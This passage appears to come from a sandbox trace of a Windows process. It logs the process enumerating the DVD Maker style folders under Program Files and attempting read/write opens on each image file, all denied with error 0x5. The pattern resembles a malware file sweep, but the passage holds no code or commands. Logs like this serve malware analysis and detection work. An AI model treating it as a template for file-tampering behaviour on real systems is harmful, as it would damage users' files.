files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.463] GetLastError () returned 0x5 [0180.463] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0180.463] GetProcessHeap () returned 0x990000 [0180.463] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x7a) returned 0x9b0940 [0180.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.465] GetProcessHeap () returned 0x990000 [0180.465] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.465] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.465] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0180.465] GetProcessHeap () returned 0x990000 [0180.465] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x27c) returned 0x9ffc78 [0180.466] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.466] GetLastError () returned 0x5 [0180.466] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0180.466] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.467] GetLastError () returned 0x5 [0180.467] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0180.467] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.468] GetLastError () returned 0x5 [0180.468] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0180.468] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.469] GetLastError () returned 0x5 [0180.469] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0180.469] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.470] GetLastError () returned 0x5 [0180.470] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0180.470] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.470] GetLastError () returned 0x5 [0180.470] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0180.470] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.471] GetLastError () returned 0x5 [0180.471] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0180.471] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.472] GetLastError () returned 0x5 [0180.472] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0180.472] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.472] GetLastError () returned 0x5 [0180.472] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0180.472] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.473] GetProcessHeap () returned 0x990000 [0180.473] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ffc78 | out: hHeap=0x990000) returned 1 [0180.473] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0180.473] GetProcessHeap () returned 0x990000 [0180.473] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x72) returned 0x9a9d68 [0180.473] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.474] GetProcessHeap () returned 0x990000 [0180.474] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0180.474] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.474] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0180.474] GetProcessHeap () returned 0x990000 [0180.475] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x274) returned 0x9ffc78 [0180.475] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.475] GetLastError () returned 0x5 [0180.475] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0180.475] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.476] GetLastError () returned 0x5 [0180.476] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0180.476] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.477] GetLastError () returned 0x5 [0180.477] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0180.477] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.477] GetLastError () returned 0x5 [0180.477] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0180.477] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.478] GetLastError () returned 0x5 [0180.478] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0180.478] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.479] GetLastError () returned 0x5 [0180.479] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0180.479] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.552] GetLastError () returned 0x5 [0180.553] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.553] GetLastError () returned 0x5 [0180.553] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.554] GetLastError () returned 0x5 [0180.554] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.555] GetLastError () returned 0x5 [0180.555] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.556] GetLastError () returned 0x5 [0180.556] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.556] GetLastError () returned 0x5 [0180.557] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.557] GetProcessHeap () returned 0x990000 [0180.557] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ffc78 | out: hHeap=0x990000) returned 1 [0180.557] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.558] GetLastError () returned 0x5 [0180.558] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.558] GetLastError () returned 0x5 [0180.558] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.559] GetLastError () returned 0x5 [0180.559] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.559] GetLastError () returned 0x5 [0180.559] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x7a) returned 0x9b0940 [0180.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.562] GetProcessHeap () returned 0x990000 [0180.562] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.562] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.562] GetLastError () returned 0x5 [0180.562] CreateFileW (lpFileName="C:\\Program Files\\DVD 